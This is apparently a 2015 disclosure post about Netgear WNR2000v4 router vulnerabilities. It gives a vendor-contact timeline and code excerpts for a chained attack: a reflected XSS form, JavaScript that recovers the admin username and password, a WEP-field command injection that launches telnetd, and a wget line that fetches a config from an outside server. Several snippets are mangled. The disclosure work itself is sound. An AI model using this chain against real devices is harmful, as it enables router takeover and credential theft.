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Netgear WNR2000v4 Multiple Vulnerabilities

I'm releasing a few vulnerabilities for the WNR2000v4 Netgear router.
Netgear is currently working these issues.

Quick Fix

If you own a WNR2000v4, set a strong password and set security questions
to jibberish.


   FEB2015 - "MW" Volunteers to be victim to router pwning games.
 06MAR2015 - WNR2000v4 Arrives
 12MAR2015 - Exploit complete
 13MAR2015 - Exploit demoed
~01APR2015 - MW switches to DD-WRT firmware.
 14APR2015 - Initial report to Netgear.
             Inform Netgear will release details on 21APR2015.
 18APR2015 - Ask for update.
             Will be notified when there's an update from support.
 20APR2015 - Ask for update.
 20APR2015 - Netgear confirms vulnerability. Says risk is only from
             LAN side. Recommend securing LAN side and using secure
             wireless password. Netgear apparently working on a fix.
 20APR2015 - Respond to Netgear. Offer to withhold details as they are
             working on a fix. Indicate will not release until after
             5pm EST on 21APR2015 awaiting their response.
 21APR2015 - No response. Details released.
 30APR2015 - Demo at AHA?

No exploit provided

An exploit is not provided with this report as Netgear is still working
the issue. However, a working exploit exists and excerpts from it are
used to explain the vulnerabilities. With a WNR200v4 on hand and these
notes, you could probably piece something together in a few hours.

If I know you, and I like you, and you ask for the exploit for
non-malicious purposes, I'll send it (along with a better writeup).


WNR2000v4 is suspect to a few vulnerabilities. We will concern ourselves
with three vulnerabilities:

1) Reflected XSS to execute javascript from origin of the http admin
2) Abuse password recovery feature to retrieve auth details.
3) Exploit a command injection vulnerability in setting WEP passwords
for code execution on the device.

When combined, these vulnerabilities allow an attacker to leverage RCE
against the WNR2000v4 by causing the victim to visit an
attacker-controlled web page. The attacker-controlled web page can be
located outside of the LAN.

To Illustrate:

Victim <--LAN--> WNR20000v4 <--WAN--> Attacker

Reflected XSS

I apologize for the text-mangling. This XSS vulnerability is best shown
in an HTML form which, when submitted, executes base64-encoded
javascript from the origin of the WNR2000v4's admin panel.

<form action='HOST/apply_noauth.cgi?/"' method="post" id="form">
<input type="hidden" name="submit_flag" value="security_question" />
<input type="hidden" name="answer1"
window.location=last_error_ans1;answer_again=0;//' />
<input type="hidden" name="answer2" value="" />
<input type="submit" value="submit" />

Where HOST is the internal address of the router, IE: in the
vast majority of configurations.

Remember, CORS doesn't apply to form submissions. This HTML, anywhere
(like WAN), paired with the javascript
gets the ball rolling automagically.

Recovering Auth Credentials

Recovering auth credentials requires:
 1) Serial number to the device.
 2) Correctly answering security questions.

Submitting a correct serial number will set a flag. Submitting correct
security questions will set a second flag. Once both flags are set and
passwordrecovered.cgi is fetched the auth credentials will be returned.

The serial number of the device is available in the result of the
unauthenticated request to:


If the option to use security questions is not used, and security
questions are never set, the security questions are the empty string.

A series of requests to fetch auth credentials may look like the following:

var r = httpGet(makeUrl(HOST, "/BRS_netgear_success.html"));
var re = new RegExp("var sn=\"(.*)\"");
var serialnumber = re.exec(r)[1];
document.body.innerHTML += serialnumber + '<br>';

var data = "submit_flag=match_sn&serial_num=" + serialnumber;
var r = httpPost(makeUrl(HOST, "/apply_noauth.cgi?/a"), data);

var data = "submit_flag=security_question&answer1=&answer2="
var r = httpPost(makeUrl(HOST, "/apply_noauth.cgi?/a"), data);

var response = httpGet(makeUrl(TARGET_HOST, "/passwordrecovered.cgi"));
var re = new RegExp("Admin Username: (.*)</TD>");
var username = re.exec(response)[1];
var re = new RegExp("Admin Password: (.*)</TD>");
var password = htmlDesanitize(re.exec(response)[1]);

document.body.innerHTML += 'username: ' + username + '<br>';
document.body.innerHTML += 'password: ' + password + '<br>';

Command injection through WEP password

In order to perform command injection for the WEP password, we must
retrieve a CSRF token called, "timestamp." This token is appropriately
named. Guessing the correct timestamp would be annoying, hence we obtain
auth credentials and retrieve it. I'll skip the implementation details
on timestamp for brevity.

var r = httpGetAuth(makeUrl(HOST, "/WLG_wireless.htm"), user, pass);

var re = new RegExp("timestamp=(.*)\"");
var timestamp = re.exec(response)[1];

Once we have timestamp, we prepare a POST request full of many wonderful

// this will start telnet, and is a lame, but publicly acceptable
// example.
var commandinject = '/usr/sbin/telnetd';

var request =
+ commandinject + ";&KEY2=&KEY3=&KEY4=";

       '/apply_noauth.cgi?/WLG_wireless.htm timestamp=' + timestamp),


This will, of course, overwrite and destroy any wireless settings on the
router. It will be *noticeable*.

Once you are authed against the admin interface, you can open the admin
interface to the wonderful internet. You can then pull the router
configuration out. If you decide to do more than start telnet, you
should also pull the configuration back down, restore it, the restart
wireless with something like this:

wget -T 10 -O /tmp/config http://some.server/config;
sleep 10;
config restore /tmp/config;
wlan down;
wlan up;

Remember to turn off the public-facing admin interface when complete.

In Conclusion

This was my first time hacking router firmware, or any embedded firmware
for that matter. It's great fun, and I highly encourage it. For those
tired of the endless slog of CTFs, give firmware a try!

Thanks to MW for being a good sport until he switched firmwares, and
devttys0 for binwalk.

Vendors of Devices

Please establish some formal way for people to report vulnerabilities to
you, and some way for the people working those vulnerabilities to
respond back to those who report. Even if you don't want to pay for the
vulnerabilities, at a minimum set up some way for those with
vulnerabilities to communicate with a security team. Customer support is
not a good, nor appropriate, way to do this.

This will strongly influence the devices I purchase in the future, and
the devices I recommend to others.

That's all!

Thanks for reading,
- endeavor